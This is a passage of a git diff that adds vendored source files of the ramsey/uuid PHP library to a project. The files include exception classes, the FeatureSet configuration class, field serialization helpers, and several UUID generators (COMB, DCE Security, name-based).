\Ramsey\Uuid\Rfc4122\UuidV4}, + * and {@see \Ramsey\Uuid\Rfc4122\UuidV5}. + */ + public function getUrn(): string + { + return 'urn:uuid:' . $this->toString(); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getVariant()}. + */ + public function getVariant(): ?int + { + return $this->fields->getVariant(); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface} instance, you may call + * {@see \Ramsey\Uuid\Rfc4122\FieldsInterface::getVersion()}. + */ + public function getVersion(): ?int + { + return $this->fields->getVersion(); + } +} diff --git a/vendor/ramsey/uuid/src/Exception/BuilderNotFoundException.php b/vendor/ramsey/uuid/src/Exception/BuilderNotFoundException.php new file mode 100644 index 000000000..220ffedb8 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/BuilderNotFoundException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate that no suitable builder could be found + */ +class BuilderNotFoundException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/DateTimeException.php b/vendor/ramsey/uuid/src/Exception/DateTimeException.php new file mode 100644 index 000000000..5f0e658bf --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/DateTimeException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate that the PHP DateTime extension encountered an exception/error + */ +class DateTimeException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/DceSecurityException.php b/vendor/ramsey/uuid/src/Exception/DceSecurityException.php new file mode 100644 index 000000000..e6d800136 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/DceSecurityException.php @@ -0,0 +1,25 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate an exception occurred while dealing with DCE Security + * (version 2) UUIDs + */ +class DceSecurityException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/InvalidArgumentException.php b/vendor/ramsey/uuid/src/Exception/InvalidArgumentException.php new file mode 100644 index 000000000..2a1fa3ac2 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/InvalidArgumentException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use InvalidArgumentException as PhpInvalidArgumentException; + +/** + * Thrown to indicate that the argument received is not valid + */ +class InvalidArgumentException extends PhpInvalidArgumentException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/InvalidBytesException.php b/vendor/ramsey/uuid/src/Exception/InvalidBytesException.php new file mode 100644 index 000000000..1c94f6596 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/InvalidBytesException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate that the bytes being operated on are invalid in some way + */ +class InvalidBytesException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/InvalidUuidStringException.php b/vendor/ramsey/uuid/src/Exception/InvalidUuidStringException.php new file mode 100644 index 000000000..6d9758166 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/InvalidUuidStringException.php @@ -0,0 +1,25 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +/** + * Thrown to indicate that the string received is not a valid UUID + * + * The InvalidArgumentException that this extends is the ramsey/uuid version + * of this exception. It exists in the same namespace as this class. + */ +class InvalidUuidStringException extends InvalidArgumentException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/NameException.php b/vendor/ramsey/uuid/src/Exception/NameException.php new file mode 100644 index 000000000..fd96a1faf --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/NameException.php @@ -0,0 +1,25 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate that an error occurred while attempting to hash a + * namespace and name + */ +class NameException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/NodeException.php b/vendor/ramsey/uuid/src/Exception/NodeException.php new file mode 100644 index 000000000..0dbdd50b4 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/NodeException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate that attempting to fetch or create a node ID encountered an error + */ +class NodeException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/RandomSourceException.php b/vendor/ramsey/uuid/src/Exception/RandomSourceException.php new file mode 100644 index 000000000..a44dd34a2 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/RandomSourceException.php @@ -0,0 +1,27 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate that the source of random data encountered an error + * + * This exception is used mostly to indicate that random_bytes() or random_int() + * threw an exception. However, it may be used for other sources of random data. + */ +class RandomSourceException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/TimeSourceException.php b/vendor/ramsey/uuid/src/Exception/TimeSourceException.php new file mode 100644 index 000000000..fc9cf36b6 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/TimeSourceException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate that the source of time encountered an error + */ +class TimeSourceException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/UnableToBuildUuidException.php b/vendor/ramsey/uuid/src/Exception/UnableToBuildUuidException.php new file mode 100644 index 000000000..5ba26d8dc --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/UnableToBuildUuidException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use RuntimeException as PhpRuntimeException; + +/** + * Thrown to indicate a builder is unable to build a UUID + */ +class UnableToBuildUuidException extends PhpRuntimeException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/UnsupportedOperationException.php b/vendor/ramsey/uuid/src/Exception/UnsupportedOperationException.php new file mode 100644 index 000000000..e1b3eda17 --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/UnsupportedOperationException.php @@ -0,0 +1,24 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use LogicException as PhpLogicException; + +/** + * Thrown to indicate that the requested operation is not supported + */ +class UnsupportedOperationException extends PhpLogicException implements UuidExceptionInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Exception/UuidExceptionInterface.php b/vendor/ramsey/uuid/src/Exception/UuidExceptionInterface.php new file mode 100644 index 000000000..a2f1c103b --- /dev/null +++ b/vendor/ramsey/uuid/src/Exception/UuidExceptionInterface.php @@ -0,0 +1,21 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Exception; + +use Throwable; + +interface UuidExceptionInterface extends Throwable +{ +} diff --git a/vendor/ramsey/uuid/src/FeatureSet.php b/vendor/ramsey/uuid/src/FeatureSet.php new file mode 100644 index 000000000..a8ab2fdbb --- /dev/null +++ b/vendor/ramsey/uuid/src/FeatureSet.php @@ -0,0 +1,449 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +use Ramsey\Uuid\Builder\BuilderCollection; +use Ramsey\Uuid\Builder\FallbackBuilder; +use Ramsey\Uuid\Builder\UuidBuilderInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Codec\GuidStringCodec; +use Ramsey\Uuid\Codec\StringCodec; +use Ramsey\Uuid\Converter\Number\GenericNumberConverter; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\Time\GenericTimeConverter; +use Ramsey\Uuid\Converter\Time\PhpTimeConverter; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Generator\DceSecurityGenerator; +use Ramsey\Uuid\Generator\DceSecurityGeneratorInterface; +use Ramsey\Uuid\Generator\NameGeneratorFactory; +use Ramsey\Uuid\Generator\NameGeneratorInterface; +use Ramsey\Uuid\Generator\PeclUuidNameGenerator; +use Ramsey\Uuid\Generator\PeclUuidRandomGenerator; +use Ramsey\Uuid\Generator\PeclUuidTimeGenerator; +use Ramsey\Uuid\Generator\RandomGeneratorFactory; +use Ramsey\Uuid\Generator\RandomGeneratorInterface; +use Ramsey\Uuid\Generator\TimeGeneratorFactory; +use Ramsey\Uuid\Generator\TimeGeneratorInterface; +use Ramsey\Uuid\Guid\GuidBuilder; +use Ramsey\Uuid\Math\BrickMathCalculator; +use Ramsey\Uuid\Math\CalculatorInterface; +use Ramsey\Uuid\Nonstandard\UuidBuilder as NonstandardUuidBuilder; +use Ramsey\Uuid\Provider\Dce\SystemDceSecurityProvider; +use Ramsey\Uuid\Provider\DceSecurityProviderInterface; +use Ramsey\Uuid\Provider\Node\FallbackNodeProvider; +use Ramsey\Uuid\Provider\Node\NodeProviderCollection; +use Ramsey\Uuid\Provider\Node\RandomNodeProvider; +use Ramsey\Uuid\Provider\Node\SystemNodeProvider; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Provider\Time\SystemTimeProvider; +use Ramsey\Uuid\Provider\TimeProviderInterface; +use Ramsey\Uuid\Rfc4122\UuidBuilder as Rfc4122UuidBuilder; +use Ramsey\Uuid\Validator\GenericValidator; +use Ramsey\Uuid\Validator\ValidatorInterface; + +use const PHP_INT_SIZE; + +/** + * FeatureSet detects and exposes available features in the current environment + * + * A feature set is used by UuidFactory to determine the available features and + * capabilities of the environment. + */ +class FeatureSet +{ + /** + * @var bool + */ + private $disableBigNumber = false; + + /** + * @var bool + */ + private $disable64Bit = false; + + /** + * @var bool + */ + private $ignoreSystemNode = false; + + /** + * @var bool + */ + private $enablePecl = false; + + /** + * @var UuidBuilderInterface + */ + private $builder; + + /** + * @var CodecInterface + */ + private $codec; + + /** + * @var DceSecurityGeneratorInterface + */ + private $dceSecurityGenerator; + + /** + * @var NameGeneratorInterface + */ + private $nameGenerator; + + /** + * @var NodeProviderInterface + */ + private $nodeProvider; + + /** + * @var NumberConverterInterface + */ + private $numberConverter; + + /** + * @var TimeConverterInterface + */ + private $timeConverter; + + /** + * @var RandomGeneratorInterface + */ + private $randomGenerator; + + /** + * @var TimeGeneratorInterface + */ + private $timeGenerator; + + /** + * @var TimeProviderInterface + */ + private $timeProvider; + + /** + * @var ValidatorInterface + */ + private $validator; + + /** + * @var CalculatorInterface + */ + private $calculator; + + /** + * @param bool $useGuids True build UUIDs using the GuidStringCodec + * @param bool $force32Bit True to force the use of 32-bit functionality + * (primarily for testing purposes) + * @param bool $forceNoBigNumber True to disable the use of moontoast/math + * (primarily for testing purposes) + * @param bool $ignoreSystemNode True to disable attempts to check for the + * system node ID (primarily for testing purposes) + * @param bool $enablePecl True to enable the use of the PeclUuidTimeGenerator + * to generate version 1 UUIDs + */ + public function __construct( + bool $useGuids = false, + bool $force32Bit = false, + bool $forceNoBigNumber = false, + bool $ignoreSystemNode = false, + bool $enablePecl = false + ) { + $this->disableBigNumber = $forceNoBigNumber; + $this->disable64Bit = $force32Bit; + $this->ignoreSystemNode = $ignoreSystemNode; + $this->enablePecl = $enablePecl; + + $this->setCalculator(new BrickMathCalculator()); + $this->builder = $this->buildUuidBuilder($useGuids); + $this->codec = $this->buildCodec($useGuids); + $this->nodeProvider = $this->buildNodeProvider(); + $this->nameGenerator = $this->buildNameGenerator(); + $this->randomGenerator = $this->buildRandomGenerator(); + $this->setTimeProvider(new SystemTimeProvider()); + $this->setDceSecurityProvider(new SystemDceSecurityProvider()); + $this->validator = new GenericValidator(); + } + + /** + * Returns the builder configured for this environment + */ + public function getBuilder(): UuidBuilderInterface + { + return $this->builder; + } + + /** + * Returns the calculator configured for this environment + */ + public function getCalculator(): CalculatorInterface + { + return $this->calculator; + } + + /** + * Returns the codec configured for this environment + */ + public function getCodec(): CodecInterface + { + return $this->codec; + } + + /** + * Returns the DCE Security generator configured for this environment + */ + public function getDceSecurityGenerator(): DceSecurityGeneratorInterface + { + return $this->dceSecurityGenerator; + } + + /** + * Returns the name generator configured for this environment + */ + public function getNameGenerator(): NameGeneratorInterface + { + return $this->nameGenerator; + } + + /** + * Returns the node provider configured for this environment + */ + public function getNodeProvider(): NodeProviderInterface + { + return $this->nodeProvider; + } + + /** + * Returns the number converter configured for this environment + */ + public function getNumberConverter(): NumberConverterInterface + { + return $this->numberConverter; + } + + /** + * Returns the random generator configured for this environment + */ + public function getRandomGenerator(): RandomGeneratorInterface + { + return $this->randomGenerator; + } + + /** + * Returns the time converter configured for this environment + */ + public function getTimeConverter(): TimeConverterInterface + { + return $this->timeConverter; + } + + /** + * Returns the time generator configured for this environment + */ + public function getTimeGenerator(): TimeGeneratorInterface + { + return $this->timeGenerator; + } + + /** + * Returns the validator configured for this environment + */ + public function getValidator(): ValidatorInterface + { + return $this->validator; + } + + /** + * Sets the calculator to use in this environment + */ + public function setCalculator(CalculatorInterface $calculator): void + { + $this->calculator = $calculator; + $this->numberConverter = $this->buildNumberConverter($calculator); + $this->timeConverter = $this->buildTimeConverter($calculator); + + /** @psalm-suppress RedundantPropertyInitializationCheck */ + if (isset($this->timeProvider)) { + $this->timeGenerator = $this->buildTimeGenerator($this->timeProvider); + } + } + + /** + * Sets the DCE Security provider to use in this environment + */ + public function setDceSecurityProvider(DceSecurityProviderInterface $dceSecurityProvider): void + { + $this->dceSecurityGenerator = $this->buildDceSecurityGenerator($dceSecurityProvider); + } + + /** + * Sets the node provider to use in this environment + */ + public function setNodeProvider(NodeProviderInterface $nodeProvider): void + { + $this->nodeProvider = $nodeProvider; + $this->timeGenerator = $this->buildTimeGenerator($this->timeProvider); + } + + /** + * Sets the time provider to use in this environment + */ + public function setTimeProvider(TimeProviderInterface $timeProvider): void + { + $this->timeProvider = $timeProvider; + $this->timeGenerator = $this->buildTimeGenerator($timeProvider); + } + + /** + * Set the validator to use in this environment + */ + public function setValidator(ValidatorInterface $validator): void + { + $this->validator = $validator; + } + + /** + * Returns a codec configured for this environment + * + * @param bool $useGuids Whether to build UUIDs using the GuidStringCodec + */ + private function buildCodec(bool $useGuids = false): CodecInterface + { + if ($useGuids) { + return new GuidStringCodec($this->builder); + } + + return new StringCodec($this->builder); + } + + /** + * Returns a DCE Security generator configured for this environment + */ + private function buildDceSecurityGenerator( + DceSecurityProviderInterface $dceSecurityProvider + ): DceSecurityGeneratorInterface { + return new DceSecurityGenerator( + $this->numberConverter, + $this->timeGenerator, + $dceSecurityProvider + ); + } + + /** + * Returns a node provider configured for this environment + */ + private function buildNodeProvider(): NodeProviderInterface + { + if ($this->ignoreSystemNode) { + return new RandomNodeProvider(); + } + + return new FallbackNodeProvider(new NodeProviderCollection([ + new SystemNodeProvider(), + new RandomNodeProvider(), + ])); + } + + /** + * Returns a number converter configured for this environment + */ + private function buildNumberConverter(CalculatorInterface $calculator): NumberConverterInterface + { + return new GenericNumberConverter($calculator); + } + + /** + * Returns a random generator configured for this environment + */ + private function buildRandomGenerator(): RandomGeneratorInterface + { + if ($this->enablePecl) { + return new PeclUuidRandomGenerator(); + } + + return (new RandomGeneratorFactory())->getGenerator(); + } + + /** + * Returns a time generator configured for this environment + * + * @param TimeProviderInterface $timeProvider The time provider to use with + * the time generator + */ + private function buildTimeGenerator(TimeProviderInterface $timeProvider): TimeGeneratorInterface + { + if ($this->enablePecl) { + return new PeclUuidTimeGenerator(); + } + + return (new TimeGeneratorFactory( + $this->nodeProvider, + $this->timeConverter, + $timeProvider + ))->getGenerator(); + } + + /** + * Returns a name generator configured for this environment + */ + private function buildNameGenerator(): NameGeneratorInterface + { + if ($this->enablePecl) { + return new PeclUuidNameGenerator(); + } + + return (new NameGeneratorFactory())->getGenerator(); + } + + /** + * Returns a time converter configured for this environment + */ + private function buildTimeConverter(CalculatorInterface $calculator): TimeConverterInterface + { + $genericConverter = new GenericTimeConverter($calculator); + + if ($this->is64BitSystem()) { + return new PhpTimeConverter($calculator, $genericConverter); + } + + return $genericConverter; + } + + /** + * Returns a UUID builder configured for this environment + * + * @param bool $useGuids Whether to build UUIDs using the GuidStringCodec + */ + private function buildUuidBuilder(bool $useGuids = false): UuidBuilderInterface + { + if ($useGuids) { + return new GuidBuilder($this->numberConverter, $this->timeConverter); + } + + /** @psalm-suppress ImpureArgument */ + return new FallbackBuilder(new BuilderCollection([ + new Rfc4122UuidBuilder($this->numberConverter, $this->timeConverter), + new NonstandardUuidBuilder($this->numberConverter, $this->timeConverter), + ])); + } + + /** + * Returns true if the PHP build is 64-bit + */ + private function is64BitSystem(): bool + { + return PHP_INT_SIZE === 8 && !$this->disable64Bit; + } +} diff --git a/vendor/ramsey/uuid/src/Fields/FieldsInterface.php b/vendor/ramsey/uuid/src/Fields/FieldsInterface.php new file mode 100644 index 000000000..f1b7a290d --- /dev/null +++ b/vendor/ramsey/uuid/src/Fields/FieldsInterface.php @@ -0,0 +1,32 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Fields; + +use Serializable; + +/** + * UUIDs are comprised of unsigned integers, the bytes of which are separated + * into fields and arranged in a particular layout defined by the specification + * for the variant + * + * @psalm-immutable + */ +interface FieldsInterface extends Serializable +{ + /** + * Returns the bytes that comprise the fields + */ + public function getBytes(): string; +} diff --git a/vendor/ramsey/uuid/src/Fields/SerializableFieldsTrait.php b/vendor/ramsey/uuid/src/Fields/SerializableFieldsTrait.php new file mode 100644 index 000000000..16e6525da --- /dev/null +++ b/vendor/ramsey/uuid/src/Fields/SerializableFieldsTrait.php @@ -0,0 +1,86 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Fields; + +use ValueError; + +use function base64_decode; +use function sprintf; +use function strlen; + +/** + * Provides common serialization functionality to fields + * + * @psalm-immutable + */ +trait SerializableFieldsTrait +{ + /** + * @param string $bytes The bytes that comprise the fields + */ + abstract public function __construct(string $bytes); + + /** + * Returns the bytes that comprise the fields + */ + abstract public function getBytes(): string; + + /** + * Returns a string representation of object + */ + public function serialize(): string + { + return $this->getBytes(); + } + + /** + * @return array{bytes: string} + */ + public function __serialize(): array + { + return ['bytes' => $this->getBytes()]; + } + + /** + * Constructs the object from a serialized string representation + * + * @param string $serialized The serialized string representation of the object + * + * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + * @psalm-suppress UnusedMethodCall + */ + public function unserialize($serialized): void + { + if (strlen($serialized) === 16) { + $this->__construct($serialized); + } else { + $this->__construct(base64_decode($serialized)); + } + } + + /** + * @param array{bytes: string} $data + */ + public function __unserialize(array $data): void + { + // @codeCoverageIgnoreStart + if (!isset($data['bytes'])) { + throw new ValueError(sprintf('%s(): Argument #1 ($data) is invalid', __METHOD__)); + } + // @codeCoverageIgnoreEnd + + $this->unserialize($data['bytes']); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/CombGenerator.php b/vendor/ramsey/uuid/src/Generator/CombGenerator.php new file mode 100644 index 000000000..49b09381d --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/CombGenerator.php @@ -0,0 +1,127 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Exception\InvalidArgumentException; + +use function bin2hex; +use function explode; +use function hex2bin; +use function microtime; +use function str_pad; +use function substr; + +use const STR_PAD_LEFT; + +/** + * CombGenerator generates COMBs (combined UUID/timestamp) + * + * The CombGenerator, when used with the StringCodec (and, by proxy, the + * TimestampLastCombCodec) or the TimestampFirstCombCodec, combines the current + * timestamp with a UUID (hence the name "COMB"). The timestamp either appears + * as the first or last 48 bits of the COMB, depending on the codec used. + * + * By default, COMBs will have the timestamp set as the last 48 bits of the + * identifier. + * + * ``` php + * $factory = new UuidFactory(); + * + * $factory->setRandomGenerator(new CombGenerator( + * $factory->getRandomGenerator(), + * $factory->getNumberConverter() + * )); + * + * $comb = $factory->uuid4(); + * ``` + * + * To generate a COMB with the timestamp as the first 48 bits, set the + * TimestampFirstCombCodec as the codec. + * + * ``` php + * $factory->setCodec(new TimestampFirstCombCodec($factory->getUuidBuilder())); + * ``` + * + * @link https://www.informit.com/articles/printerfriendly/25862 The Cost of GUIDs as Primary Keys + */ +class CombGenerator implements RandomGeneratorInterface +{ + public const TIMESTAMP_BYTES = 6; + + /** + * @var RandomGeneratorInterface + */ + private $randomGenerator; + + /** + * @var NumberConverterInterface + */ + private $converter; + + public function __construct( + RandomGeneratorInterface $generator, + NumberConverterInterface $numberConverter + ) { + $this->converter = $numberConverter; + $this->randomGenerator = $generator; + } + + /** + * @throws InvalidArgumentException if $length is not a positive integer + * greater than or equal to CombGenerator::TIMESTAMP_BYTES + * + * @inheritDoc + */ + public function generate(int $length): string + { + if ($length < self::TIMESTAMP_BYTES || $length < 0) { + throw new InvalidArgumentException( + 'Length must be a positive integer greater than or equal to ' . self::TIMESTAMP_BYTES + ); + } + + $hash = ''; + if (self::TIMESTAMP_BYTES > 0 && $length > self::TIMESTAMP_BYTES) { + $hash = $this->randomGenerator->generate($length - self::TIMESTAMP_BYTES); + } + + $lsbTime = str_pad( + $this->converter->toHex($this->timestamp()), + self::TIMESTAMP_BYTES * 2, + '0', + STR_PAD_LEFT + ); + + return (string) hex2bin( + str_pad( + bin2hex($hash), + $length - self::TIMESTAMP_BYTES, + '0' + ) + . $lsbTime + ); + } + + /** + * Returns current timestamp a string integer, precise to 0.00001 seconds + */ + private function timestamp(): string + { + $time = explode(' ', microtime(false)); + + return $time[1] . substr($time[0], 2, 5); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/DceSecurityGenerator.php b/vendor/ramsey/uuid/src/Generator/DceSecurityGenerator.php new file mode 100644 index 000000000..aca8c5db7 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/DceSecurityGenerator.php @@ -0,0 +1,160 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Exception\DceSecurityException; +use Ramsey\Uuid\Provider\DceSecurityProviderInterface; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Uuid; + +use function hex2bin; +use function in_array; +use function pack; +use function str_pad; +use function strlen; +use function substr_replace; + +use const STR_PAD_LEFT; + +/** + * DceSecurityGenerator generates strings of binary data based on a local + * domain, local identifier, node ID, clock sequence, and the current time + */ +class DceSecurityGenerator implements DceSecurityGeneratorInterface +{ + private const DOMAINS = [ + Uuid::DCE_DOMAIN_PERSON, + Uuid::DCE_DOMAIN_GROUP, + Uuid::DCE_DOMAIN_ORG, + ]; + + /** + * Upper bounds for the clock sequence in DCE Security UUIDs. + */ + private const CLOCK_SEQ_HIGH = 63; + + /** + * Lower bounds for the clock sequence in DCE Security UUIDs. + */ + private const CLOCK_SEQ_LOW = 0; + + /** + * @var NumberConverterInterface + */ + private $numberConverter; + + /** + * @var TimeGeneratorInterface + */ + private $timeGenerator; + + /** + * @var DceSecurityProviderInterface + */ + private $dceSecurityProvider; + + public function __construct( + NumberConverterInterface $numberConverter, + TimeGeneratorInterface $timeGenerator, + DceSecurityProviderInterface $dceSecurityProvider + ) { + $this->numberConverter = $numberConverter; + $this->timeGenerator = $timeGenerator; + $this->dceSecurityProvider = $dceSecurityProvider; + } + + public function generate( + int $localDomain, + ?IntegerObject $localIdentifier = null, + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): string { + if (!in_array($localDomain, self::DOMAINS)) { + throw new DceSecurityException( + 'Local domain must be a valid DCE Security domain' + ); + } + + if ($localIdentifier && $localIdentifier->isNegative()) { + throw new DceSecurityException( + 'Local identifier out of bounds; it must be a value between 0 and 4294967295' + ); + } + + if ($clockSeq > self::CLOCK_SEQ_HIGH || $clockSeq < self::CLOCK_SEQ_LOW) { + throw new DceSecurityException( + 'Clock sequence out of bounds; it must be a value between 0 and 63' + ); + } + + switch ($localDomain) { + case Uuid::DCE_DOMAIN_ORG: + if ($localIdentifier === null) { + throw new DceSecurityException( + 'A local identifier must be provided for the org domain' + ); + } + + break; + case Uuid::DCE_DOMAIN_PERSON: + if ($localIdentifier === null) { + $localIdentifier = $this->dceSecurityProvider->getUid(); + } + + break; + case Uuid::DCE_DOMAIN_GROUP: + default: + if ($localIdentifier === null) { + $localIdentifier = $this->dceSecurityProvider->getGid(); + } + + break; + } + + $identifierHex = $this->numberConverter->toHex($localIdentifier->toString()); + + // The maximum value for the local identifier is 0xffffffff, or + // 4294967295. This is 8 hexadecimal digits, so if the length of + // hexadecimal digits is greater than 8, we know the value is greater + // than 0xffffffff. + if (strlen($identifierHex) > 8) { + throw new DceSecurityException( + 'Local identifier out of bounds; it must be a value between 0 and 4294967295' + ); + } + + $domainByte = pack('n', $localDomain)[1]; + $identifierBytes = (string) hex2bin(str_pad($identifierHex, 8, '0', STR_PAD_LEFT)); + + if ($node instanceof Hexadecimal) { + $node = $node->toString(); + } + + // Shift the clock sequence 8 bits to the left, so it matches 0x3f00. + if ($clockSeq !== null) { + $clockSeq = $clockSeq << 8; + } + + $bytes = $this->timeGenerator->generate($node, $clockSeq); + + // Replace bytes in the time-based UUID with DCE Security values. + $bytes = substr_replace($bytes, $identifierBytes, 0, 4); + $bytes = substr_replace($bytes, $domainByte, 9, 1); + + return $bytes; + } +} diff --git a/vendor/ramsey/uuid/src/Generator/DceSecurityGeneratorInterface.php b/vendor/ramsey/uuid/src/Generator/DceSecurityGeneratorInterface.php new file mode 100644 index 000000000..faa29a53d --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/DceSecurityGeneratorInterface.php @@ -0,0 +1,53 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Rfc4122\UuidV2; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; + +/** + * A DCE Security generator generates strings of binary data based on a local + * domain, local identifier, node ID, clock sequence, and the current time + * + * @see UuidV2 + */ +interface DceSecurityGeneratorInterface +{ + /** + * Generate a binary string from a local domain, local identifier, node ID, + * clock sequence, and current time + * + * @param int $localDomain The local domain to use when generating bytes, + * according to DCE Security + * @param IntegerObject|null $localIdentifier The local identifier for the + * given domain; this may be a UID or GID on POSIX systems, if the local + * domain is person or group, or it may be a site-defined identifier + * if the local domain is org + * @param Hexadecimal|null $node A 48-bit number representing the hardware + * address + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes + * + * @return string A binary string + */ + public function generate( + int $localDomain, + ?IntegerObject $localIdentifier = null, + ?Hexadecimal $node = null, + ?int $clockSeq = null + ): string; +} diff --git a/vendor/ramsey/uuid/src/Generator/DefaultNameGenerator.php b/vendor/ramsey/uuid/src/Generator/DefaultNameGenerator.php new file mode 100644 index 000000000..7303e9fa2 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/DefaultNameGenerator.php @@ -0,0 +1,48 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Exception\NameException; +use Ramsey\Uuid\UuidInterface; +use ValueError; + +use function hash; + +/** + * DefaultNameGenerator generates strings of binary data based on a namespace, + * name, and hashing algorithm + */ +class DefaultNameGenerator implements NameGeneratorInterface +{ + /** @psalm-pure */ + public function generate(UuidInterface $ns, string $name, string $hashAlgorithm): string + { + try { + /** @var string|bool $bytes */ + $bytes = @hash($hashAlgorithm, $ns->getBytes() . $name, true); + } catch (ValueError $e) { + $bytes = false; // keep same behavior than PHP 7 + } + + if ($bytes === false) { + throw new NameException(sprintf( + 'Unable to hash namespace and name with algorithm \'%s\'', + $hashAlgorithm + )); + } + + return (string) $bytes; + } +} diff --git a/vendor/ramsey/uuid/src/Generator/DefaultTimeGenerator.php 